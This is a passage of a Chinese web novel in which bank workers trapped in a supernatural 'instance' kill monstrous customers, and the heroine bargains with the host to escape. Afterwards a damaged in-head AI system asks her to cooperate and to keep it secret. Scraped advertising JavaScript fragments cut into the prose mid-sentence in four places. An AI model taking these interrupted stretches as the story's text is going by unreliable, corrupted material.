季风一手撑在台面上,上半身往前倾,眼睛看着地面,轻飘飘冒出一句:“那我就把你们都杀了。” 家惠有一瞬间以为是伤口蔓延到脑子导致幻听 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,还弯腰去看季风口型,弯到一半觉得太傻了停住了。 季风抬头看着吴利勾了勾嘴角,吴利抿着嘴,似乎是思考了两秒, “人来了我肯定接待。” “那都加油。”季风满意的双手在两人的肩膀上拍了拍,就说没人会跟镰刀叫板。 “钱一”果然又来了。今天这个皮套看上去服帖不少,胳膊腿都很听指挥,剩下头套部分还是有褶皱。他进来后看见家惠就直朝着她走过去,半路被冒出来的吴利拦住了, “您办什么业务?” “我找她。”“钱一”想绕过吴利,谁知吴利又上前一步挡住了他, “我一样可以为您办业务,那位同事在忙别的事。”家惠连忙装作在忙的样子。 “我来帮您吧。”季风见他不搭理吴利,主动上前。 “钱一”一看是把他当傻子耍,但好像拿吴利没办法,正想找别人撒气,看到季风歪着头打量了一番, “也行,你来。” “您和我到那边的贵宾室吧,我们到那里详谈。”季风笑眯眯的指着会议室,指鹿为马。“钱一”吃了文盲的亏,被季风忽悠去了会议室。 他一进去会议室的门被从外面关上了,“钱一”回头看了一眼门,季风此时站在他后面也有些无语,后背果然不能交给吴利。 “吴利你关门干嘛?”家惠看见门被关上了,瞬间紧张起里面季风的安危。 吴利手还放在门把手上,回头温和的看了一眼家惠:“这样监控照不到里面。”会议室门外的天花板上,确实明晃晃的放着一颗摄像头。 会议室内,“钱一”仔细挑选出季风身上最满意的部位,正准备开口, “这位客户,”季风说着拿起一个破布袋子,在里面翻找:“您先看看我们给您准备的礼品。” “钱一”不要这些虚的,他要的是季风那颗形状完美,五官灵活的脑袋, “少拖延时间!我要——”话音未落,钱一只感觉自己脖子一凉,视线天旋地转,他有感受不到自己刚要来的灵活的四肢了。他愤怒的在头套里扭动着, “你怎么敢!” 季风一看怎么头都掉了还能说话,挥着镰刀精准的切割开“钱一”的头套,一颗没有五官的褐色头颅露出来,刚才愤怒的吼声一下消失了,头颅不断扭动着,似乎在大喊,但在寂静的会议室,只能听见小小的、低微的细语声。季风面无表情地拿镰刀狭窄的平面快速拍击还在发声的头,直到把他完全拍碎。季风有几次下手时能听到酥脆的骨头声,有点像炸鸡架,她脑海里突然冒出这个想法。 小花:成功解决客户一位,贡献值20。 “击杀客户是没问题的吧……”季风看着散落一地的客户,后知后觉的想到。 家惠和吴利冲进来的时候看到的就是这一副画面,季风举着还沾着一些客户碎片的镰刀,冲他两打了个招呼。 家惠第一反应是赶紧带上门,吴利被关门的举动吓得一哆嗦。季风把镰刀装回破布袋子里, “庆幸你明智的选择?” “……”吴利看向季风的眼神十分复杂。 5. 海城市民银行05 三人是以胜利者的姿态走出会议室的,柜台这边三人都伸长脖子,看到四个人进去三个人出来,松了一口气。客户怎么样了,不关系,投诉解决了就好,小命保住了。两人的伤口停止恶化,但没有恢复,褐色的皮肤扎眼的晾在那里。 一直到临下班前一分钟,一个女士拖着两个行李箱进来了,穿着红色礼服,戴着墨镜,一头卷发盖住大半张脸。 “我要存钱。”丢下一句话就往柜台走。 “这位客户,我们快下班了,您……”家惠小步追在女人身后,试图阻止她。 “什么意思,现在不是还没下班?”女人已经坐在座位上,回头瞪了一眼家惠。 金李是那个要数钱的倒霉蛋,看到女人拉开行李箱露出两大袋子硬币的时候彻底绝望。 “您那个行李箱也是硬币吗?” “你管那么多干嘛?先给我数。”女人已经掏出手机,随时准备投诉。 “数,没说不数,这数不完啊。”金李不断眨眼暗示后面的季风。季风迟迟没有动作,没别的原因,那个镰刀只能用一次,现在只剩下个空布袋子。 季风在想出办法前只能示意金李先数着。硬币被全部倒在桌子上,光这一袋子目测就有上千个。胡青青招呼李浩顺过来一起帮忙,三人一起动作生疏地数硬币。 早就到下班时间了,钟表已经来到五点半,银行依旧是上班状态,看来客户不走是下不了班的。 金李数着数着觉得头晕眼花,硬币出现了重影。她晃了晃脑袋,以为是数久了,但头晕的感觉没有缓解,知道她眼前一黑栽到桌子上,季风看见金李一头磕在硬币堆里,几枚硬币竟直挺挺的竖在那里,好在金李在倒下前习惯性的用手挡了一下,下一秒她感到一阵刺痛,抬手一看,掌心里扎着几枚明晃晃的硬币。 那女人很兴奋的盯着金李,看到只是扎到了手,有些失望的靠回椅背。胡青青见状让金李去旁边休息,三个人轮着数。金李也不推脱,离开座位示意季风到另一个柜台。 “能吗?”金李和季风隔着玻璃,手做了一个抹脖子的手势。 “没东西。”季风有些无奈。金李没想到是这个原因,举着那只受伤的手四处找着什么。 “她那硬币能用吗?”季风顺着金李的视线,看向客户开着的行李箱里放着的另一袋子硬币。 “蛮沉的,就是不知道你技术怎么样。” 季风在脑海里预演了两遍动作:“我技术一流。” 说着挂起职业笑脸,十分亲切的向女人凑近。 “怎么了?”女人见季风凑近,皱着眉头后仰了一下。 “柜员在这数太慢了,您要不把剩下的拿上,我们去贵宾室给您数。” “不用,就在这。”女人不上钩,她看了一眼会议室,不感兴趣的转回去。 季风嘴角抽了一下,怎么能不感兴趣呢?我又不能在这里攻击客户。她再次组织语言:“是这样的,这个确实太多了,您也会等很久,要不您先存这些,我们在贵宾室准备了礼品,您拿上。” “礼品?”女人似乎有些兴趣。 “对,别的客户都很喜欢的,我们只给大客户。”季风也不明说,只是在几人的旧伤上使眼色,不明不白的暗示着。这种“大礼”对女人有明显的吸引力,便让季风替她拿着硬币,跟着进了会议室,吴利和家惠跟在后面,熟练地关上门。 季风先进的门,一眼看到散落一地的“钱一”。 糟糕。 季风回头,女人显然也看见了,她的手正放在自己的墨镜腿上, 小花:道具“祈愿之眼-低级”,非一次性道具,效果仅在对视下有效。 季风见状立刻抡起袋子砸向女人,在眼睛和墨镜中犹豫了一下,朝后脑勺去了。女人墨镜刚拿下来,感到脑后一阵重击,脸朝地倒了下去。季风站在后面又补了两下,看到女人拄在地上挣扎的手臂卸了力,才放下袋子。 家惠听到里面没动静了,推门进去,看到季风背朝门口,硬币散落一地,沉默地站在女人身旁。 “姐......”家惠小心翼翼的开口:“还好吗?” 季风心理再强大,一天刀两个人也太密集了。她看着女人被硬币覆盖的头部,开始想自己熟练的手法究竟是从哪来的,明明这才是她这辈子杀的第二个人。季风回头,脸上干干的,看到吴利失望的神色, “怎么,以为我哭了?”季风摊手,向二人展示会议室的两具尸体:“处理一下?” 没别的原因,就是引诱下一位客户的时候让他看到两位前辈不太好。 柜台里的三人也出来一起帮忙。三人看到会议室里面两具死状惨烈的尸体,造成不小的视觉冲击。金李被挡在后面最后挤进来才看见, “姐,你真是女人中的女人!”她冲季风竖起大拇指,两眼放光。 季风伸手挡了挡她热情的目光:“行了,把这两个客人给保洁吧。”她指挥几人把七零八落的客人包起来运输到二楼保洁室,在背后嘱咐道:“动作快点,别被保洁一起清理了。” 周四的晨会上主持人明显状态有些高昂, “各位员工真实有很强的工作能力,在解决一个投诉之后,也没有造成新的投诉,这是数一数二的好成绩!” 季风有些怜悯地看着这个被蒙在鼓里的主持人,他要是知道他们是怎么处理投诉的,不知道还笑不笑的出来。 “再告诉大家一个好消息,我们公司非常遵守劳动法,慷慨的实行双休工作制。”这句话显然更有效果,倒霉的副本上班日子只剩两天了。剩下的客人,只要让季风都杀光就没问题了。金李这么想着,笑出了声。意识到众人都看到她一副傻样后,她立刻板起脸坐直了。 季风不知道金李在笑什么,总感觉肩上沉沉的,好像扛了不少担子。 “不过还有一个坏消息,”主持人语气一转:“周四是发薪日,会有非常多的客人来哦。”他看大家士气低迷,这可不行,又补充道: “也不算坏消息,人多才有机会展示自己,加油!” “发薪日”这个词字面意思季风懂,发工资的日子;放在银行语境里也不难理解,会有很多人来取工资;就是放在副本里,在前几个客户都各显神通的情况下,这个词想表达什么,季风有些想不明白——总不能是像前几个那样的再来一堆,她是什么杀 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 神吗,这么能杀。 这时候偏有那没眼色的凑上来,就是金李:“姐,靠你了!我们几个柜台里的出不去,” 季风看了一眼金李,满脸傻样, “你以为是切白菜呢,那么容易。切白菜也得有刀啊。” 吴利好像终于看不下去他们这扭曲的服务准则了, “客户来了就正常服务,别想这些歪门邪道,”说着看了一眼金李:“今天客户很多的话总要漏几个去柜台的。” “你们不能总坐享其成吧。”家惠也小声插了句嘴。 金李没觉着是在讽刺她,一点儿没生气,听见佳慧的话后说:“要不我们换一下,我想在外面,柜台里安全,你俩谁要进去?” 金李说着已经把名牌摘下来在两人眼前晃了,第一天主持人把规则说的很清楚,名牌上的身份就是自己的职位,两人把名牌一换就能换位置。 吴利摇着头后退:“我干不来柜台。” 家惠盯着那牌子没说话,她在挣扎,她觉得季风再厉害,那可是实打实的防弹玻璃。金李看她犹犹豫豫的样子,一把把名牌塞家惠手里了, “你想换咱两就换,季风不会生气的。”金李朝季风一扬下巴:“是吧!” “嗯,家惠你进柜台吧,我今天在外面可能顾不过来。”季风不觉得这场身份交换有什么“背叛感”之类的,家惠明显不是武将,她在外面能活到现在不容易,在柜台里面相对安全一点,相对……季风有点心虚地看了一眼金李和胡青青的伤。 “你腿怎么办?”季风问金李,瘸子可以出来打仗吗?她实际想表达的是这个。 “小意思,”金李向大伙展示自己两条腿直立的画面:“现在甚至不太疼了。” “现在是什么战术?”金李和二人一起站在迎宾台,等待开门。 “好好服务客户,你不是没武器吗?”吴利抢先一步否定季风的暴力策略。季风确实没找到武器,她刚才尝试叫“小花”,那个总在她眼前闪,不清楚是个什么的东西,不出意外的,毫无反应。 “说起武器……”令人意外的是金李开口了:“我那天收硬币的时候发现的。”她说着从口袋里掏出两个飞镖样式的硬币大小的铁片。 季风在监控死角接过,说:“就是这么多客人,这么让他们听话的去会议室呢。” “这是最简单的事情。”吴利撂下这句话,也不解释。 等十点钟一到,看着蜂拥而至,挤满大厅的来领薪水的客户,季风明白吴利刚才那句话的意思了。 大厅里挤满了客户,将近四五十个。但银行里面只是压抑的寂静,没有一丝声音。这些客户和之前的很不相同,他们是半透明的实体,没有实际的器官或者面部,脑袋形状的半透明球体上凹下去五官大小的坑——只是摆设。没有发声的部位,似乎也没法交流,只会被大堂的三人引导着走。听话,且不会投诉。季风很满意这波客人。 即使是用手里小小的飞镖,切起客人来也跟切果冻一样,客人就像果冻一样被切割,倒下。解决掉十来个后季风发现金李没啥动静了,她回头叫金李,看到的就是金李半边身子被客户吸进半透明躯体的情形。 6. 海城市民银行06 季风赶过去切开客户,金李从一堆果冻质地的躯体中滑出来,季风伸手在她眼前挥了挥,瞳孔没有反应,但是还有气,不清楚是中毒了还是单纯昏了。 似乎是察觉到季风想试探这摊“果冻”的质地,小花终于上线了, 小花:检测到物质,接触有毒,致幻。 “谢了。”季风收到小花的及时雨,用脚踢开地上的一堆尸体,把金李挪到一个相对安全的地方,出去准备让大厅的人注意一下。 季风有些费劲的推开会议室的门,她不记得这门有关上。下一刻一坨半透明的客户就从她头上的方向掉下来,季风迅速闪过。像大厅看去,外面景象让她有片刻愣住:这些半透明的客户把大厅占满了,不只地面上,墙上、天花板上全是,他们像蜗牛一样用半透明的下身吸附在平面上,一只只爬满整个大厅,由于躯体是透光的,阳光照下来没受阻碍,把大厅的光线过滤的有些朦胧。 看到季风出来,几只离得近的把没有五官的面部转向她,两个坑注视着这边,季风没回头只视线向后扫了一眼,躯体被切割会有味道吗?季风想,可是他们看上去也没有鼻子。 吴利此时看上去已经失去前几日的从容,四肢被几个躯体缠住。 “吴利,怎么这么狼狈。”季风来到他边上,吴利此时还有意识,听到季风这话,面上有些无奈。 “呦,这是你的东西吗。”在吴利的脚边有一只细剑,银白剑身,白金手柄,十分简单的十字剑,被半透明的躯体裹在里面,有些客人还有人样,有些已经化成一滩史莱姆。 “你用这个可以攻击,柜台里的小伙伴还等着你去救援呢。”吴利显然是不敌这么多生物的攻击,而他这个像样的武器明显不像是这个副本里会有的。但是拿着武器在营业场所攻击客人,吴利的后台这么硬吗,这种狼狈的状态下吴利也察觉到季风探究的目光,解释道:“你看看监控,这些没脑子的客户像蜗牛一样乱爬。” 这些躯体吸附在天花板上,完整的盖住每一寸空间,摄像头被糊的严严实实。 季风看这些生物只是缠着吴利,毒素好像对他没什么作用,就从一滩粘液中把剑挑出来,剑身立刻就干洁如新,未沾一点污秽。 柜台处一片狼藉。这些客人都拥在柜台玻璃下方的入钞口处,团成一团,有不少已经从这个四方的小口挤进去了。家惠本以为换了个安全的地方,没想到现在变成了监狱,狭小的空间里,那些费力挤进来的客户也无法再恢复人形,就聚成一堆向家惠逼近。 “救命……救救我,姐……”家惠看到季风出现在窗口,断断续续地呼救,她已经被毒素侵蚀地头脑昏沉。季风几下就清理掉围在柜台外面的东西,但钻进去的她够不到,眼睁睁看着那些半透明的东西吮吸着家惠的胳膊,不断地将其吞入。 “家惠!醒醒,你能出来吗,我进不去。”季风看家惠眼睛要闭上,用手拍打着玻璃叫她。 另一边柜台也是一样的情形,胡青青被躯体吃掉了半边身子,不见李浩顺的身影。 “你能出柜台?”季风看着里面的惨状问,面前的玻璃上映出李浩顺的身影。 “嗯。”李浩顺从里面跑出来了,季风转身,看见李浩顺的名牌上写着大堂经理。 “你这牌子哪抢的?” “没有,我有两个。”李浩顺低着声音,问什么答什么。季风看他这幅样子,烦躁的态度稍微放缓了一点。 “你和吴利什么情况?”看孩子老实,季风只管放开了问,能问到什么是什么。 “……”李浩顺还是能分清什么能说什么不能,抿了下嘴,只是说:“我也不知道吴利什么情况。” 看来两人背景还不一样,李浩顺明显是怕这群东西的毒,不像吴利,现在还坐在那大鼻涕沙发上摇呢。 季风有了武器,削起客户来那是一剑一个,但客户数量众多,后来金李悠悠转醒,加入战场,也忙到最后一刻。季风一边挥剑,眼前小花疯狂刷新, 小花:解决客户一位,贡献值5 小花:解决客户一位,贡献值5 小花:解决客户一位,贡献值5 …… 基于解决的简单程度,季风对于5分没什么异议。其实一开始有的: 季风:怎么5分,第一个20啊。缩水了? 小花没有进行任何回应。 罢了,看来不是一个可以对话的智能系统,季风的“上访途径”被封死了。 在几人解决完最后一个客户后,大门关闭,整个大厅终于恢复宁静与祥和。四位幸存者坐在一起,相顾无言。金李的目光在两个关系户身上扫荡,像是要用眼神将他俩击穿,但可能是毒素没消干净,晕乎乎的也没开口骂人。 “往好处想,”季风打破沉默:“至少没有增加投诉……”她向后靠在沙发背上,长舒一口气:“因为他们没有嘴,真可怜。” “噗——”是李浩顺笑出声了。 “你笑什么!”金李本来想憋着,听见他笑怒火攻心:“柜台三个剩你一个你还笑得出来?死关系户!”说完白了李浩顺一眼,又坐回原位,四人还是聚在那个位置,谁都没动。 周五的早晨,季风心情异常愉悦,果然人只要上班,就不能不爱上周五。看到主持人嬉皮笑脸的样子也顺眼了许多,不过这个好心情没有延续到晨会开始的第一秒钟。 “是这样的,”主持人手边是一台笔记本电脑,屏幕上暂停着一段视频,四人看到这一情况头皮一紧,视频暂停的一帧是季风的脸,看向镜头里面,略带焦急的神色。 是柜台里面的摄像头,昨天那些东西进柜台里面的不多,没遮住摄像头,季风那会看见家惠受伤有些心急,手快的清理了柜台外面的客户。 主持人用一根指头点下播放键,视频声音画面都十分清晰,大家在听到家惠的求救声时还是心头一紧,嘶哑虚弱的声音传递出来无尽的绝望。 视频戛然而止,这段视频是主持人用手机录的监控器。 “各位,”主持人双手交握又松开,一副痛心疾首的样子:“昨天确实客流量很大,但作为员工也不能攻击客户啊!” “我有异议。”主持人的表演被打断,不满地抬头看向季风。 季风伸手拖拽进度条 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到她手刃塞在入钞口的客户那个画面,手指着那一坨半透明的东西问主持人:“我在清理柜台上的垃圾,哪有客户啊。” 主持人没见过这么角度创新的辩词:“这一坨......这些就是客户啊。” 季风皱了皱眉,十分认真的说:“可我只看见垃圾挡住柜台了,客户不应该是人样的吗。” “......”主持人一时语塞,他想不到合理的解释来反驳季风,只能迅速进入下一个话题:“重点不是这个,而是我们这家银行的领导最近在检查,虽然不会到这来,但大家还是规范服务,不要被抓住把柄了。” “这个监控,”季风叫住准备走的主持人:“请帮我我上诉,这是员工的权益。”她说的一脸正气,主持人感觉在大清早就仿佛被正午的阳光照耀。 “知道了。”赶紧打发了季风,抱着电脑,头也不回的进了办公室。 已经开门快一个小时了,目前还不见一个客户的身影。大厅里季风和吴利并排站着,李浩顺和金李在柜台里看着外面, “你不觉得他俩氛围怪怪的?”李浩顺没话找话。 金李白了他一眼:“你直接去问问你吴哥,问我能知道什么。”她金李平生最讨厌关系户。 “......”李浩顺不吱声了。 没客户出现几人乐得清闲,就是当时间来到下午,阳光从西边的窗户照进来,大厅里还是空无一人时,李浩顺有点慌了:“怎么还没人来啊?” “闲你还不乐意?那你去门口吆喝一下呗。”金李虽然心里没什么着落,摸不清现在是什么情况,但不耽误她呛人。 大厅的二人谁也没看谁,季风单纯不想掺和吴利的事,他身上秘密太多了,她感兴趣,但是只想知道结论,不想经历询问这个过程。 “你身手不错。”吴利突然开口夸赞。 “为什么?”季风可不想接受这个夸赞,她一个五好青年,只是运动神经发达点,吴利这话说的她像道上混的一样。 “我看你用我那把剑挺顺手。” “嗯,你这剑哪来的,不像副本里的东西。”季风还是给面子的问了,吴利这话就差把“快问我怎么回事”写脸上了。 “不是副本里的,送你了。”面对吴利出乎意料的大方,季风反而有些不想要了,在这之前她其实打算昧下这柄剑,现在这东西就像个烫手山芋。 “我不要,你拿走。”季风将烫手山芋丢出去了。 吴利拿着失而复得的宝物,表情似乎有些遗憾。 “你没有别的要问的吗?” “没有,别给我说,不是很感兴趣。”季风拒绝三连,生怕听到什么不该知道的。 傍晚。 “怎么回事?” “不会出什么意外吧……” “我怎么有不好的预感。” 四人此刻都站在大厅,气氛中溢出微妙的恐慌。已经下班2小时了,银行外的布景来到夜晚,月亮高挂在天空。今天一整天没有来一个客户,周五的晚上副本也没有丝毫结束的意思。 “出问题了。”季风抱着双臂,看不出表情。 7. 海城市民银行07 “为什么没客户来?”李浩顺好像才睡醒一样,突然发问,说完就感觉众人怜悯的目光落到自己身上。 金李看见李浩顺一脸痴呆样,贴心的用类比法为他解释:“连续两天人来了都有去无回的,搁你敢让自己亲戚去这家银行吗?” “哦。”李浩顺挠挠头,不知道听懂没,反正也没提出新的问题了。 “小花?”季风在脑子里喊,不出意外地毫无动静。她觉得自己眼角好像抽搐了两下,真的很过分,这小花到底是个什么东西?主要是不理人。她楼上的邻居都比这个东西话多,那邻居还是个哑巴。 小花:受环境限制,目前只能提供物品解析和危险预警的功能,实在抱歉。 或许是受不了季风的嘲讽,小花竟然发了一句解释。 “稀客啊!能注释也行,我现在要勇闯主任办公室了。”季风给小花撂下这句话,抬腿往办公室走。 “干什么去?”金李看季风突然走了,立刻跟上:“带我一个。” 两人停在主任办公室门前,季风试着拧了一下门把手,锁着的。 “可能下班了人没在。”金李在一旁说:“走吧?” 下一秒她瞪大双眼——季风在敲门,咚咚咚,“主任?我找你有点事儿。”里面毫无动静。 “你在这研究着,我去那边找找。”金李见此情形,决定分头行动,在银行别的角落寻找出口。 “真没人啊。”季风摸着下巴,低头观察了一下,很简单的机械锁…… 小花:“普通门锁”。提示:在附近找一找,总会有钥匙的。 季风把视线投向旁边的盆栽,果然,里面放着一把钥匙。门开之后里面的陈列就是一间普通办公室,红木办公桌、带轮子的椅子、老式电脑、红木大书柜……书柜? 季风的目光停在书柜上,那是一个带有玻璃窗的大书柜,里面摆放着一些书籍和文件夹。她走上前拉开柜门,中间一层左边放了一个蓝色的档案盒,盒背上写着“2073年三季度贷款资料”。不过打开里面是空的。 小花:“被隐藏的档案盒”。提示:请找到里面的资料。 季风把东西放回原位,来到办工桌的位置翻找线索。小花从刚才起好像异常活跃,她抽空想着,这一会儿出现的次数比前四天加起来都多。 找寻无果,桌子附带的抽屉也都被锁上了,这回不等小花提示,季风已经在周围找钥匙了,她记着刚才那个书柜里好像有个铁盒子,翻出来一看,里面躺着一堆钥匙。但是试了几个都打不开抽屉。 “啊!”外面突然传来金李的叫声,季风顿住,仔细听大厅的动静,但是只短短一下便没了后文。 盒子里只剩三把钥匙了,正好对应三个抽屉。季风不敢耽搁,加速手上的动作。 金李被主持人拍肩膀时正撅着屁股在展览架下翻找,吓了一跳的她弹起来就准备骂,抬头在月光的照耀下看见一张惨白的脸,她以为终于见鬼了,发现是刚才他们没找见的主持人。 “金经理,给您介绍一下,这是我们的领导,下来视察工作。”金李顺着主持人的手向他身后看去,才发现暗处还站了两个人,看不清脸,只有眼珠子和脑门因为反光发亮。 “哦,领导好。”金李察觉到自己刚才诡异的动作属实不妥:“我刚打扫卫生呢,这不下班了吗。”她一脸赔笑,和主持人四目相对,主持人好像有点紧张,没跟她唱反调,反而应和了几句。 暗处的领导好像点了点头,主持人马上点头哈腰的:“好嘞,领导我们到别的岗位看看。”不忘回头给金李说:“不要声张,领导不想太高调。” “好的好的。”金李站在原地,忧愁的看着几人往那边走去。主任办公室的门是关着的,季风不在外面,估计是想办法把门弄开了,金李现在去通知她反而打草惊蛇。 “来,领导,这边请。”李浩顺和吴利不知干什么去了,几人已经来到主任办公室门前,主持人开门的时候看着手里的把手皱了下眉,门开了,里面跟他离开时一模一样。 “请坐,我去倒水。”主持人让两位领导坐下,去一旁烧水,他又四下看了看,还是没什么发现。 季风将自己缩在一个狭小的空间里。透过面前的一道缝向外看。两位领导看身形都是标准的中年男人,微胖,一米七左右的个子,秃头,穿着一套西装。这两人......季风来回比对了几下确定了,两人长得一模一样,像是套用的一个外形模板生成的。 三人在说些什么,貌似不是刚刚检查的内容。季风躲在暗处,嘴唇紧抿,面色是前所未有的严肃。 她听不懂他们说话。 字面意义上的,语言壁垒。不像是某一门她听不懂的外语,而是一种十分陌生的发音方式,以长音开头,以促音截止,怪异无比,让她起了一身鸡皮疙瘩。 大段的对话中,她只能听懂“多利”,这应该是一个名字。季风翻到藏起来的资料时只来得及看一眼它的封面,那是一份合同,上面乙方的签名是:多利。 几人谈话的语调有平缓至激烈,两位领导隐隐以中间那位为首,但主持人的地位有点奇怪,他似乎对两人态度很谨慎,但另外两人每次对上他时情绪有一个明显的收敛。 季风紧盯着主持人,她唯一自认为擅长的,是对陌生人察言观色,一般她可以迅速的分析出一群人在群体中的位置,但这三人有种相互制约的感觉,季风现在只能确定一点:两人与主持人是两方,认识时间不短,但不太熟悉。 谈话似乎接近尾声,主持人站起身去拿来那份合同,在转身的一刹那,与季风四目相对。 一瞬间季风感觉自己汗毛竖起,脑子“嗡”地一声。电光火石之间,她不知道哪来的胆子,看着主持人手中的合同,挑衅地冲他眨了下眼。 主持人移开视线,拿着合同回去了,他好像扯了一下嘴角。他应该气炸了,季风有些幸灾乐祸的想。 主持人在自己办公室的天花板里看到这次副本那个刺头小鬼,就已经 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瞳孔地震了,看到她竟然还敢挑衅,心里已经盘算好了一百种撕碎她的方式。 但是他的视线落到合同上时,一丝不愿承认的怀疑升起,万一她真把这合同换了呢?这次和福祉集团的谈判已经到最后阶段,就差临门一脚,要是在他这一步黄了,他担不起这个责。 坐回沙发上,主持人把合同在三人中间的桌子上放下,“要不.....还是不能冒这个险。”他心想着,手没松开,又把合同拿了起来:“领导,这次对话后我们想必已达成共识,我把合同修改一下,到时候我们找个吉时一签。” 但两人好像不愿浪费时间,姿态上有催促之意,主持人只好接着说:“二位放心,我们是很讲信用的,合作已经达成,合同修改后您二位再核对一下,贵司创始人一向比较严谨,相信他会赞成的。” 可能是搬出了顶头上司的缘故,最终还是不太顺利地把对方说服了,季风看着主持人送瘟神一样送走了二人,然后门一关摊在了自己的椅子上。 季风:“......” 主持人:“......” 好像忘了点什么?他猛的从椅子上弹起身,指着天花板:“你还不下来?” 季风从容不迫地掀开身下的复合板,手抓着边缘荡了两下,落到办公桌上。主持人看着季风站在他面前的桌子上,那鞋都快踩他脸上了。 “说好的今天结束,怎么还加班呢?”季风先发制人,把主持人给问的一愣。 “我有一万种方法让你留在副本里。”他现在以一种奇怪的角度仰视着季风,让威胁的话气势上都弱了三分。 “但是这份合同对你也很重要吧。”季风一点没有被抓包的紧迫感,上炕一样在桌子上盘腿坐下了:“我们也谈谈?” 主持人瞪着桌上的季风,翻开自己手里的那份合同看了一眼,里面写着:服务人员行为规范准则...... “动作还挺快。”他把这沓废纸随手扔在一边:“不过你能告诉我里面写的什么吗?” 季风当然不能,这合同她只能看见封面,里面跟加密了一样,无字天书。但她能否看懂其实不重要:“对你来说有用就行。”季风拿着合同在主持人面前晃悠,看他眼神一直紧张的追随着自己的手,有些像逗狗…… “啪——”地一声,季风把合同拍在桌上,也不卖关子了:“交换,现在立刻,结束副本,不然我就扬了它。” 主持人盯着合同,明显在脑内进行了一场激烈的权衡,他想着要不是你们几个乱杀客户,导致公司察觉到经营异常,副本早该在周五下班就结束了,自己现在不过是正常结束副本,更重要的是要是丢了这份合同他才自身难保。 “行,一手交钱一手交货。” “走之前能透露一下这是什么合同吗?实在好奇。” 季风还是没忍住问了,对面明显没有回答的意思,下一刻一阵天旋地转,季风已经回到自己卧室的床上,伴随的还有剧烈的晕船呕吐感,和强烈的困意。 8. 天降offer 时间在她离开那天的早上,阳光透过厚厚的窗帘将房间微微照亮。 “呕——”卫生间里季风跪在马桶边上大吐特吐。她本来想先补个安稳觉,但是刚躺下胃里就翻江倒海,像是坐着轮船在大海上航行了一个星期,而且这条航线全程大风大浪。 她稍微缓过神来,透过冲水的噪声,就卫生间的门被敲响了:“季风,身体不舒服吗?” 是母亲的声音,估计是听到卫生间的动静过来了。季风抬头看了一眼浴室里挂着的电子表:凌晨五点三十分。 “我没事,”门从里面打开,探出一张湿漉漉的脸,还有水珠顺着脸颊滴落:“做噩梦了,吓了一跳。” “梦见什么了?” 季风抬眼,母亲注视着她,平静而压迫,她不着痕迹地别开眼,回去拿毛巾擦脸:“忘记了。”声音闷闷的从一团毛巾里传出来。 “早餐做好了,今天再去一趟海市行,去见见人。”母亲没再追问,交代了今天季风的行程,就从房间出去了。 季风沉默地盯着手里的毛巾看了一会儿,叹了口气。她现在听见这银行的名字都有些应激了,要是真见到那两个复制人,她可能会晕过去。 早餐在餐厅的长条桌一端整齐的摆放着,蔬菜汁、牛肉切片、几朵西蓝花。生、冷、硬,季风对食物默默做出评价,还是坐下拿起刀叉,一口一口地吃完了。在得知母亲不会跟着她去后,她带着一肚子冰凉的食物出门了。 “再多吃一天我真的会死。”即使这种饭已经吃了十年,但她还是每顿饭后都会发出这样的感叹。 小花:那你小学吃的什么? 季风在路上猛的停下了。 小花:你好,伙伴。我的语言系统刚才修复完成,已经恢复对话功能,我们可以合作。 “合作...什么?”季风看着马路对面的煎饼摊子,她本来打算去买点热乎的吃,但眼下这个“小花”比较紧急:“我能从头问吗?” 小花:好的。 “你是什么?” 小花:你可以将我当做一个智能系统,我通过科技诞生,不是生命体。 “副本里你怎么跟人机似的?” 小花:我就是人机。不过我明白你的意思,我之前的各个方面都收到严重损坏,你的第一个副本里我只能进行简单的文字显示,甚至不能发出声音。现在我的对话功能自动修复了,我们可以交流。 “你还有别的什么功能?” 小花:我具有一个高级科技产物的所有功能。只不过都受到严重损坏。 “只有对话功能是好的?” 小花:是的。 就是只能说空话呗,季风就知道金手指不可能被自己捡到,但是它毕竟还是在副本里发挥了一点作用。 “所以合作什么?” 小花:合作进行副本通关。我帮助你,你只要通关就行。 这个像系统一样的东西,想说的说的明白,不想说的拐弯抹角,不真诚。 “我不,你换别人。”季风干脆利落的拒绝。 小花:换不了别人,我们已经绑定了。 这不是强买强卖吗?季风在思考把小花从自己脑袋里拽出去的可行性。 小花:你从这个副本存活后,一定会进入下一个副本,我们合作是双赢。 她听到这种事情还会再次经历,感到有些荒谬的同时,又闻到对面飘来的味道,对面那家煎饼果子真的很香。 “副本到底是什么啊?” 小花感觉有戏:目前还不清楚产生原理,不过我随你过几个副本之后,可能会有新的理解。 “行吧,现在也只能这样了。” 小花:不过不要暴露我的存在。 季风翻了个白眼:“你看我像傻子吗?” 她的白眼刚翻回来,“刷”眼前冒出一张十元纸币。 “?”季风顺着手的主人胳膊看过去,一张冒着傻气的卷毛男大的脸。 “那个,我看你一直盯着煎饼摊看,都饿的翻白眼了,这钱你拿着,我请你吃。”脸的主人说话了。 季风无语的不知道该从哪一句话接起,打量了一下来人,一身运动装,应该是晨跑经过这里,她最后视线落回那双清澈的没有一丝智慧的眼神上:“你是大学生吧?” “你怎么知道?”男生震惊的问。季风从他手里抽走那张十块:“谢了。”去买了个加肠加蛋的煎饼。又热又脆的煎饼到手,季风一遍啃着一般边往银行走。 “你也是这个海城大学的学生吗?”那男生从后面跟了上来,看来是打算一起走。 海城大学的宿舍区大门在这条路的尽头,隔壁是海城大学的主校区。这个学校放眼全国可能不算数一数二的高等学府,但在海城市本地人的心目中还是有不可动摇的地位。 男生一副热心帮助困难学妹的样子:“我是大二的,农学专业,同学我们留个联系方式,以后有什么需要帮助的地方可以找我。” 季风不想制造什么美丽的误会,但对方显然误会大了,她只好简要的进行了说明:“我不困难,已经毕业了,谢谢你的煎饼,我现在有事先走了。”说完把那张纸币向对方递过去,她压根没用,男生楞楞的伸手接住。 “啊我叫李灰。”男生反应过来时季风已经坐上车了,吃完加餐那么远的路她才不走。 “季风。”她关上车门前朝他挥了挥手,李灰拿着又被还回来的钱,看着那辆库里南缓缓开远,黑亮的车身上能倒映出行道旁的银杏树。 